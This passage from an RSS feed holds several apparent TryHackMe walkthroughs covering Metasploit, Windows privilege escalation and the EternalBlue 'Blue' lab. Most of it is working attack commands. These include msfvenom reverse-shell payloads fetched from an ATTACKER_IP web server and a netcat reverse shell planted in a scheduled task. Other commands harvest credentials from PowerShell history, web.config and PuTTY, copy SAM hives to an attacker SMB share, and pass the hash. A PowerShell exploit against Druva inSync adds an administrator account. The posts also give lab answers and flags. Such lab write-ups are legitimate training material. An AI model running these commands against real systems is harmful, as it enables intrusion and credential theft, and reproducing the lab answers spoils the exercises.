connect.</p><p>We will use Multi Handler to receive the incoming connection. The module can be used with the use exploit/multi/handler command.</p><p><strong>Q1:</strong></p><p>just connect to it via ssh or lunch it in the browser using</p><pre>ssh murphy@Target_IP<br>#then will ask you for a password<br>1q2w3e4r</pre><p>once the shell is opened get to root to make things easier</p><pre>sudo su</pre><p><strong>Answer:</strong> No need</p><p><strong>Q2:</strong></p><p>let’s make our payload using msfvenom</p><pre>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Machine_IP LPORT=4444 -f elf -o shell.elf</pre><p><strong>Answer: </strong>No need</p><p><strong>Q3:</strong></p><p>now let’s deliver the payload to the target using python web server</p><pre>python3 -m http.server 9999</pre><p>once it lunched let’s download the payload on the Target machine</p><p>on Target machine</p><pre>wget http://Attacker_IP:9999/shell.elf</pre><p>don’t forget to give the payload execute permissions</p><pre>chmod +x shell.elf</pre><p><strong>Q4:</strong></p><p>now open Metasploit multi handler to get a shell once the payload is opened and connected</p><pre>msfconsole<br>use exploit/multi/handler</pre><p>make sure to set LHOST, LPORT and Payload as same as the one you’ve delivered</p><ul><li>LHOST is your IP (Attacker_IP)</li><li>LPORT which the multi handler will receive the connection</li></ul><p>once you run the multi handler then opened the payload on the target machine</p><pre>./shell.elf</pre><p>meterpreter shell is opened</p><p>Answer: No need</p><p><strong>Q5:</strong></p><p>if we try to run hashdump an error shown so to fix this</p><ul><li>background the session ( CTRL + Z )</li><li>use post/linux/gather/hashdump</li><li>set session Session_ID</li><li>run</li></ul><p><strong>Answer:</strong> $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0</p><h3><strong>Task 7:</strong></h3><p>you have learned</p><ul><li>how to use msfvenom and create payloads</li><li>how to deliver the payload to the target using python web server</li><li>how to use multi handler and Metasploit to exploit or scan for vulnerabilities</li><li>Metasploit database feature that allows you to <strong>store, organize, and manage all your reconnaissance and exploitation data</strong> inside Metasploit instead of losing it when you close Metasploit</li><li>how to dump hashes and use Meterpreter</li></ul><p>Answer: No need</p><p>You’ll find rest of the module in another walkthrough….</p><p><em>Hope you enjoyed this walkthrough — keep experimenting, stay curious, and make your learning journey with Metasploit an exciting adventure while having fun with cybersecurity! </em>✅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2dc0583fc098" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit Module — Introduction TryHackMe]]></title>
            <link>https://usan7.medium.com/tryhackme-module-metasploit-6f421158dc8c?source=rss-4dd6c1e15003------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f421158dc8c</guid>
            <category><![CDATA[msfconsole]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Mohamed Sayed (U S A N)]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 20:20:57 GMT</pubDate>
            <atom:updated>2026-02-27T15:15:17.769Z</atom:updated>
            <content:encoded><![CDATA[<p>Here you can find it <a href="https://tryhackme.com/module/metasploit">Module</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UR0BXNZTCN55nDvowqUQxg.jpeg" /></figure><h3>Metasploit: Introduction</h3><h3>Task 1:</h3><p>Metasploit is the most widely used exploitation framework. Metasploit is a powerful tool that can support all phases of a penetration testing engagement, from information gathering to post-exploitation.</p><p><strong>Answer: </strong>No need</p><h3>Task 2:</h3><p>you can access Metasploit Framework via command line</p><pre>msfconsole</pre><ul><li>Auxiliary</li></ul><p>Any supporting module, such as scanners, crawlers and fuzzers, can be found here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hyv9uQWl9capM60mJ3kA1Q.png" /></figure><ul><li>Encoders</li></ul><p>Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iKF30FcnEyuTHQstX06ETw.png" /></figure><ul><li>Evasion</li></ul><p>While encoders will encode the payload, they should not be considered a direct attempt to evade antivirus software. On the other hand, “evasion” modules will try that, with more or less success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1P78m4aFUWicpGGHEUDFNA.png" /></figure><ul><li>Exploits</li></ul><p>Exploits, neatly organized by target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BlrQJrpWQtqRmfrPC8-itw.png" /></figure><ul><li>NOPs</li></ul><p>NOPs (No OPeration) do nothing, literally. They are represented in the Intel x86 CPU family with 0x90, following which the CPU will do nothing for one cycle. They are often used as a buffer to achieve consistent payload sizes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jPKEJPYPDM-M4YtD5wNo8w.png" /></figure><ul><li>Payloads</li></ul><p>Payloads are codes that will run on the target system.</p><p>Exploits will leverage a vulnerability on the target system, but to achieve the desired result, we will need a payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n3cMuiBxU89ul7pO2B06tA.png" /></figure><ul><li>Post</li></ul><p>Post modules will be useful on the final stage of the penetration testing process listed above, post-exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GC6nuNtbtvqEV7Sq6OCG7g.png" /></figure><p><strong>Q1:</strong> Exploit</p><p><strong>Q2:</strong> Payload</p><p><strong>Q3:</strong> Singles</p><p><strong>Q4:</strong> Singles</p><h3>Task 3:</h3><ul><li>lists the contents of the folder from which Metasploit was launched “ ls ”</li><li>help command can be used on its own or for a specific command “help”</li><li>to see commands you have typed earlier “history”</li><li>The module to be used can also be selected with the use command followed by the number at the beginning of the search result line.</li><li>you can see what options to fill with “show options”</li><li>to see payloads you could use “show payloads”</li><li>you can leave the context using “back”</li><li>Further information on any module can be obtained by “info”</li><li>“search” This command will search the Metasploit Framework database for modules relevant to the given search parameter. You can conduct searches using CVE numbers, exploit names (eternalblue, heartbleed, etc.), or target system.</li></ul><p><strong>Q1:</strong> search Apache</p><p><strong>Q2:</strong> todb</p><h3>Task 4:</h3><p>All parameters are set using the same command syntax:<br>set PARAMETER_NAME VALUE</p><ul><li><strong>RHOSTS:</strong> “Remote host”, the IP address of the target system.</li><li><strong>RPORT:</strong> “Remote port”, the port on the target system the vulnerable application is running on.</li><li><strong>PAYLOAD: </strong>The payload you will use with the exploit.</li><li><strong>LHOST:</strong> “Localhost”, the attacking machine (your AttackBox or Kali Linux) IP address.</li><li><strong>LPORT:</strong> “Local port”, the port you will use for the reverse shell to connect back to. This is a port on your attacking machine, and you can set it to any port not used by any other application.</li><li><strong>SESSION:</strong> Each connection established to the target system using Metasploit will have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.</li></ul><p>you can use “unset” to clear any parameter value and “unset all” to clear all set parameters</p><p>we use “setg” to set parameter with global value applied for all modules</p><p>to run the exploit we use</p><pre>run #will run the exploit<br>exploit #will run the exploit<br>exploit -z #will run the exploit and background the session as soon as it opens</pre><p>Some modules support the check option. This will check if the target system is vulnerable without exploiting it.</p><p>you can use the background command to background the session prompt and go back to the msfconsole prompt or “ CTRL + Z ”.</p><p>The sessions command can be used from the msfconsole prompt or any context to see the existing sessions.</p><p>To interact with any session, you can use the sessions -i command followed by the desired session number.</p><p><strong>Q1:</strong> set LPORT 6666</p><p><strong>Q2:</strong> setg RHOSTS 10.10.19.23</p><p><strong>Q3:</strong> unset PAYLOAD</p><p><strong>Q4:</strong> exploit</p><h3>Task 5:</h3><p>As we have seen so far, Metasploit is a powerful tool that facilitates the exploitation process. The exploitation process comprises three main steps; finding the exploit, customizing the exploit, and exploiting the vulnerable service.</p><p>Metasploit provides many modules that you can use for each step of the exploitation process. Through this room, we have seen the basic components of Metasploit and their respective use.</p><p>Q1: No need</p><p>You’ll find rest of the module in another walkthrough….</p><p><em>Hope you enjoyed this walkthrough — keep experimenting, stay curious, and make your learning journey with Metasploit an exciting adventure while having fun with cybersecurity! </em>✅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f421158dc8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From user to Admin — Windows Privilege Escalation TryHackMe Lab]]></title>
            <link>https://usan7.medium.com/windows-privilege-escalation-tryhackme-lab-ae8a54583b38?source=rss-4dd6c1e15003------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae8a54583b38</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[windows-post-exploitation]]></category>
            <category><![CDATA[post-exploitation]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Mohamed Sayed (U S A N)]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 14:47:16 GMT</pubDate>
            <atom:updated>2026-02-27T15:10:12.667Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>here you can find it <a href="https://tryhackme.com/room/windowsprivesc20">Windows Privilege Escalation</a><br>Notice that it’s a Premium room</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*u1-pZjl8RQ52dN1zR336sw.jpeg" /></figure><h3><strong>Task 1:</strong></h3><p>This task will show you techniques that helps you get higher privileges<br>Through services misconfigurations or Vulnerable software</p><p><strong>Answer:</strong> No need</p><h3>Task 2:</h3><p>Windows has many accounts each with specified jobs it categorized into</p><ul><li>Users accounts [ <strong>Administrators, Standard Users </strong>]</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*GzmE4ob8vUIAj-jbB_fr8Q.png" /></figure><ul><li>System accounts [ <strong>SYSTEM / LocalSystem, Local Service, Network Service ]</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*3sZqs9d9pCSZOxNHJT5OvA.png" /></figure><p><strong>Answer1:</strong> Administrators</p><p><strong>Answer2:</strong> aye</p><h3>Task 3:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*bdxa6U4FknzLmH-N93adGg.png" /></figure><p>PowerShell may be a vulnerable point due to its history that may save user credentials that we can get the PowerShell history through that command</p><pre>type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt</pre><p>also windows may save some credentials that we can find it through that command</p><pre>cmdkey /list</pre><p>IIS “Internet Information Services” is the default web server on Windows installations we can find the configurations of websites on IIS is stored in a file called “web.config” that we can look inside it through that command</p><pre>type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString</pre><p>PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection’s parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won’t allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials To retrieve the stored proxy credentials we can do it through that command</p><pre>reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f &quot;Proxy&quot; /s</pre><p><strong>Q1:</strong> we’re going to use that command that show us PowerShell history to see if there are any credentials</p><p><strong>Answer:</strong> ZuperCkretPa5z</p><p><strong>Q2: </strong>to get stored configurations about websites on IIS we’re going to see the content of the file web.config</p><p><strong>Answer:</strong> 098n0x35skjD3</p><p>Q3: First of all if we to see windows stored credentials</p><pre>cmdkey /list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*SsPg6aQTm6LTQd-t_2fmVw.png" /></figure><p>then use</p><pre>runas /savecred /user:WPRIVESC1\mike.katz cmd.exe</pre><p>it will open a shell and simply will navigate to C:\\ then Users and choose<br>mike.katz finally Desktop we will find then a text file called flag.txt</p><p><strong>Answer:</strong> THM{WHAT_IS_MY_PASSWORD}</p><p><strong>Q4:</strong> retrieve Credentials from Software: PuTTY</p><p><strong>Answer:</strong> CoolPass2021</p><h3>Task 4:</h3><p>Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it’s using a binary you can modify.</p><pre>schtasks</pre><p>To check the file permissions on the executable, we use</p><pre>icacls</pre><p>why is this dangerous ? because if our logged in user account has any access to any scheduled task then we could modify it and insert any payload we like this called persistent</p><p><strong>Q1:</strong></p><ul><li>we insert a payload that opens a shell</li></ul><pre>echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 &gt; C:\tasks\schtask.bat</pre><ul><li>then opened a listener on that port 4444 on the attacker machine</li></ul><pre>nc -lvp 4444</pre><p>The next time the scheduled task runs but for saving time we will do it manually</p><pre>schtasks /run /tn vulntask</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*be9P-SK5d4xFUtSp7HYDtQ.png" /></figure><ul><li>then navigate to C:\\Users\taskusr1\Desktop we will see a file called flag.txt</li></ul><p><strong>Answer:</strong> THM{TASK_COMPLETED}</p><h3>Task 5 :</h3><p><strong>Q1:</strong></p><p>if you see that service configuration</p><pre>sc qc WindowsScheduler</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*CaiUdqBisISdnQ6JF03TPA.png" /></figure><p>we can find its executable file at “BINARY_PATH_NAME”, now let’s it’s permission</p><pre>icacls C:\PROGRA~2\SYSTEM~1\WService.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*yF4vQbeop_6gPlQoHumedg.png" /></figure><p>as we can see there is a misconfiguration “Everyone:(I)(M)”<br>that means Everyone group has a modify permission so we could modify it and replace it with out payload</p><p>on the attacker machine let’s create our payload using msfvenom</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe</pre><p>and deliver it through python web server</p><pre>python3 -m http.server</pre><p>on the target machine we should download our payload, so we’re going to this using PowerShell</p><pre>wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe</pre><p>let’s replace the executable with our payload</p><pre># Navigate its top folder<br>cd C:\PROGRA~2\SYSTEM~1\<br><br>#Change the name of the exe file<br>move WService.exe WService.exe.bkp<br><br>#Moved our payload to the folder and changed its name as same as the service<br>move C:\Users\thm-unpriv\rev-svc.exe WService.exe<br><br>#give full-control permission to Everyone group over our payload<br>icacls WService.exe /grant Everyone:F</pre><p>and now lets start out listener on the attacker machine</p><pre>nc -lvp 4445</pre><p>And finally, restart the service. While in a normal scenario, you would likely have to wait for a service restart, so to saving our time</p><pre>C:\&gt; sc stop windowsscheduler<br>C:\&gt; sc start windowsscheduler</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*I_I3xnMTXkMqgMJn2QaooQ.png" /></figure><p>and here we go , Great Job</p><p>now to get the flag just navigate to Desktop “C:\\Users\svcusr1\Desktop”</p><p><strong>Answer: </strong>THM{AT_YOUR_SERVICE}</p><p><strong>Q2:</strong></p><p>First problem here is maybe the administrator save the binaries in non-default path as he did “C:\MyPrograms” that folder is going to inherit the permissions of “C:\\” directory which allows everyone to create or delete folders and files.</p><p>Second problem is if we want to start a service with name like this<br>“Test Spaces Service” SCM will be confused of that spaces and we try to search for the right word first “Test.exe” if this doesn’t exist then will see if<br>“Test Spaces.exe” is exist and so on…..</p><p>so we can take advantage of that to create our payload and replace it’s name with the first word to right to make the SCM execute it first</p><p>as we did before we’re going to make our payload using msfvenom</p><pre>#our Payload<br>msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe<br><br>#Open python web server to deliver payload<br>python3 -m http.server<br><br>#Open a listener, ofc in another tab<br>nc -lvp 4446</pre><p>Using PowerShell download the payload to target mahcine</p><pre>wget http://ATTACKER_IP:8000/rev-svc2.exe -O rev-svc2.exe</pre><p>then move our payload and change it’s name and give everyone full control permission over the payload</p><pre>#move it to the folder &quot;MyPrograms&quot; with name &quot;Disk.exe&quot;<br>C:\&gt; move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe<br><br>#give everyone full-control over the payload<br>C:\&gt; icacls C:\MyPrograms\Disk.exe /grant Everyone:F</pre><p>for saving time we’re going to restart the service, While in a normal scenario, you would likely have to wait for a service restart</p><pre>C:\&gt; sc stop &quot;disk sorter enterprise&quot;<br>C:\&gt; sc start &quot;disk sorter enterprise&quot;</pre><p>on the attacker machine notice that the shell is opened and just navigate to</p><pre>cd C:\\Users\svcusr2\Desktop</pre><p>here is your flag</p><p><strong>Answer:</strong> THM{QUOTES_EVERYWHERE}</p><p><strong>Q3:</strong></p><p>given wrong permissions will cost a lot, here if you have a permission to change any configuration of a service you could change it’s path to our payload path to run instead of the service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*QSGSic9L7iyN1afesSe5iQ.png" /></figure><p>Notice that “BUILTIN\Users” group has “SERVICE_ALL_ACCESS” which could reconfigure the path</p><p>so as we did we’re going to create our payload with msfvenom</p><pre>#Our payload<br>msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe<br><br>#Open python web server to deliver payload<br>python3 -m http.server<br><br>#Open a listener, ofc in another tab<br>nc -lvp 4446</pre><p>we’re going to deliver it as before</p><pre>wget http://ATTACKER_IP:8000/rev-svc3.exe -O rev-svc3.exe</pre><p>give everyone full-control over the payload</p><pre>icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F</pre><p>change the path of the service with the path of our payload</p><pre>sc config THMService binPath= &quot;C:\Users\thm-unpriv\rev-svc3.exe&quot; obj= LocalSystem</pre><p>ofc for saving time we will restart the service</p><pre>C:\&gt; sc stop THMService<br>C:\&gt; sc start THMService</pre><p>shell is opened on the attacker machine if you tried to see the username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*H8jPuhqoOlNEx-EvLMoaZg.png" /></figure><p>so you will find the flag on the desktop of Administrator folder</p><p>Answer: THM{INSECURE_SVC_CONFIG}</p><h3>Task 6:</h3><p>to connect to the machine via RDP I used kali for this</p><pre>xfreerdp /u:username /p:password /v:Machine_IP</pre><p>To backup the SAM and SYSTEM hashes, we can use the following commands:</p><pre>C:\&gt; reg save hklm\system C:\Users\THMBackup\system.hive<br><br>C:\&gt; reg save hklm\sam C:\Users\THMBackup\sam.hive</pre><p>not let’s share these backups’ copies to our attacker machine via SMB server</p><pre>mkdir share<br><br>python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share</pre><p>here is break down of the code</p><p>“mkdir share” we make a directory called “share” that we will make it the point the we will receive the files into</p><p>“python3.9 /opt/impacket/examples/smbserver.py -smb2support”<br>we started an SMB server and ensure that SMBv2 is enabled</p><p>“-username THMBackup -password CopyMaster555” we set this credentials for SMB server</p><p>“public share” the name of the SMB server is “public” that point to the folder we created before “share”</p><p>now let’s copy our files to our attacker machine</p><pre>C:\&gt; copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\<br>C:\&gt; copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\</pre><p>now let’s dump these files for credentials</p><pre>python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ctum-Ud_JaBlHXL15eA3hw.png" /></figure><p>now we have Administartor Hash we can use to login</p><pre>python3.9 /opt/impacket/examples/psexec.py -hashes administrator_hash administrator@10.112.128.51</pre><p>and shell will open just navigate to “C:\\Users\Administrator\Desktop”<br>here is your flag</p><p>you can keep reading the task for more knowledge</p><p><strong>Answer: </strong>THM{SEFLAGPRIVILEGE}</p><h3>Task 7:</h3><p>Software installed on the target system can present various privilege escalation opportunities. As with drivers, organizations and users may not update them as often as they update the operating system.</p><p>let’s list software installed on the target system and its versions. The command below will dump information it can gather on installed software</p><pre>wmic product get name,version,vendor</pre><p>we see “Druva inSync 6.6.3” it’s vulnerable we can exploit it using this payload</p><pre>$ErrorActionPreference = &quot;Stop&quot;<br><br>$cmd = &quot;net user pwnd SimplePass123 /add &amp; net localgroup administrators pwnd /add&quot;<br><br>$s = New-Object System.Net.Sockets.Socket(<br>    [System.Net.Sockets.AddressFamily]::InterNetwork,<br>    [System.Net.Sockets.SocketType]::Stream,<br>    [System.Net.Sockets.ProtocolType]::Tcp<br>)<br>$s.Connect(&quot;127.0.0.1&quot;, 6064)<br><br>$header = [System.Text.Encoding]::UTF8.GetBytes(&quot;inSync PHC RPCW[v0002]&quot;)<br>$rpcType = [System.Text.Encoding]::UTF8.GetBytes(&quot;$([char]0x0005)`0`0`0&quot;)<br>$command = [System.Text.Encoding]::Unicode.GetBytes(&quot;C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd&quot;);<br>$length = [System.BitConverter]::GetBytes($command.Length);<br><br>$s.Send($header)<br>$s.Send($rpcType)<br>$s.Send($length)<br>$s.Send($command)</pre><p>this will create a user “pwnd” with password “SimplePass123” and make it part of administrators’ group</p><p>if we opened cmd.exe with administrator privilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*vjbHCkTGPmEx7GorVxCHtA.png" /></figure><p>we can use our credentials of user “pwnd” then navigate to<br>“C:\\Users\Administrator\Desktop” here is the flag</p><p><strong>Answer:</strong> THM{EZ_DLL_PROXY_4ME}</p><h3>Task 8:</h3><p><strong>Answer:</strong> No need</p><h3>Task 9:</h3><p><strong>Answer:</strong> No need</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae8a54583b38" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking into Deep — Blue TryHackMe Lab]]></title>
            <link>https://usan7.medium.com/tryhackme-lab-blue-95715949417f?source=rss-4dd6c1e15003------2</link>
            <guid isPermaLink="false">https://medium.com/p/95715949417f</guid>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[msfconsole]]></category>
            <category><![CDATA[eternalblue]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[smb]]></category>
            <dc:creator><![CDATA[Mohamed Sayed (U S A N)]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 17:07:50 GMT</pubDate>
            <atom:updated>2026-02-27T15:12:19.956Z</atom:updated>
            <content:encoded><![CDATA[<p>you can find it here “<a href="https://tryhackme.com/room/blue">https://tryhackme.com/room/blue</a>”<br>Now let’s get started,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y1vzGYu-ebFdcRxu5aPlEw.jpeg" /></figure><h3><strong>Task 1:</strong></h3><p>make sure to start the machine by clicking on “Start Machine” Button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*IavJhte_c08MKqDJz2BYow.png" /></figure><p><strong>Q1:</strong> We’re going to scan the machine using a Great tool “nmap”<br>(I recommend checking out the <a href="https://tryhackme.com/room/furthernmap">Nmap</a> room)</p><pre>nmap -sV machine_ip</pre><p><strong>Answer: No need</strong></p><p><strong>Q2:</strong> you can manually calculate it</p><p><strong>Answer: 3</strong></p><p><strong>Q3:</strong> If we tried to search about the version of port 445 we will find an exist exploit for it called “ms17–010 EternalBlue”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*LlsSMGQ2yn6URUYmGu1ChA.png" /></figure><p><strong>Answer: ms17–010</strong></p><h3><strong>Task 2:</strong></h3><p><strong>Q1:</strong> Starting Metasploit by typing</p><pre>msfconsole</pre><p><strong>Answer:</strong> No need</p><p><strong>Q2:</strong> Search for ms17–010</p><pre>search ms17–010</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*tG6mSStswUwGXTeoXJpK-A.png" /></figure><p>you can use this exploit by typing</p><pre>use 0<br>OR<br>use exploit/windows/smb/ms17_010_eternalblue</pre><p><strong>Answer:</strong> exploit/windows/smb/ms17_010_eternalblue</p><p><strong>Q3:</strong> let’s see options by typing</p><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*CHOeZImmvZndrsnfs6aWGw.png" /></figure><p>we can realize that “RHOSTS” option is required let’s fill it with Target_IP</p><pre>use rhosts Machine_IP</pre><p><strong>Answer:</strong> RHOSTS</p><p><strong>Q4: </strong>before run the exploit we should do one more thing try to run this command</p><pre>set payload windows/x64/shell/reverse_tcp</pre><p>now let’s run the exploit by typing</p><pre>run<br>OR<br>exploit</pre><p><strong>Answer:</strong> No need</p><p><strong>Q5: Answer:</strong> No need</p><h3><strong>Task 3:</strong></h3><p><strong>Q1:</strong> let’s background the process ( CTRL + Z ) and then let’s esclate the shell to a meterpreter shell</p><pre>use post/multi/manage/shell_to_meterpreter</pre><p><strong>Answer:</strong> post/multi/manage/shell_to_meterpreter</p><p><strong>Q2: </strong>let’s show what options we need to fill</p><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*N6cq8lKp0tuTsjmASDCW8w.png" /></figure><p>as we can see “SESSION” option is required</p><p>what does this mean ?</p><p>we did before background our shell “Session” now let’s see how to show our sessions, try to type</p><pre>sessions -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*Qk9JlkHiusC8cIFtQQnOJw.png" /></figure><p>now let’s set the “SESSION” option to our session id</p><pre>set session 2</pre><p>and run</p><pre>run<br>OR<br>exploit</pre><p>if the shell is opened successfully you will see something like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*yeLr8htyNvPp26Dy4_yJuA.png" /></figure><p>if tried to list our sessions u will see that we have a new session with the highest privileges over the system “NT AUTHORITY\SYSTEM”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*1fuajRL5-jM41QZj3fPaKg.png" /></figure><p>now let’s see the process that running at the background on the target machine</p><pre>ps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*KXPHTef7OSbg6qwxKGHdgw.png" /></figure><p>let’s migrate our shell to a powershell</p><pre>migrate 3016</pre><h3><strong>Task 4:</strong></h3><p><strong>Q1:</strong> let’s dump some info by using command</p><pre>hashdump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*M2rQyKShLTzT_0_mQ3uJAQ.png" /></figure><p><strong>Answer:</strong> Jon</p><p><strong>Q2:</strong> learn how to crack hashes try to search for tools like “hashcat” or “John the ripper”</p><p><strong>Answer:</strong> alqfna22</p><h3><strong>Task 5:</strong></h3><p><strong>Q1: </strong>hmm…Flag1 ! give yourself a moment to think….can be found at system root which it’s C:\\<br>so let’s navigate to C:\\</p><pre>cd C:\\<br># dir used to list our folders and files<br>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*Pua7NLb8dn_sVdKSYSzymw.png" /></figure><p>Ohh…here it’s let’s see its contents</p><pre>type flag1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*ULks0ZXJxCVq5MI8P-MndQ.png" /></figure><p><strong>Answer:</strong> flag{access_the_machine}</p><p><strong>Q2:</strong> I’m not gonna lie I don’t know where is this flag2<br>let’s search</p><pre>search -f flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*05lvlI68RX4z58VNjWupbA.png" /></figure><p>Oh that was smooth, yeah hacking is easy</p><p>let’s see it’s content</p><p><strong>Answer:</strong> flag{sam_database_elevated_access}</p><p><strong>Q3:</strong> as previous we’re going to search for it</p><pre>search -f flag3.txt</pre><p>navigate to c:\Users\Jon\Documents\flag3.txt</p><p><strong>Answer:</strong> flag{admin_documents_can_be_valuable}</p><p>Finally we did it let’s see if can keep up and do more than what we did….</p><p>Enjoy and happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95715949417f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>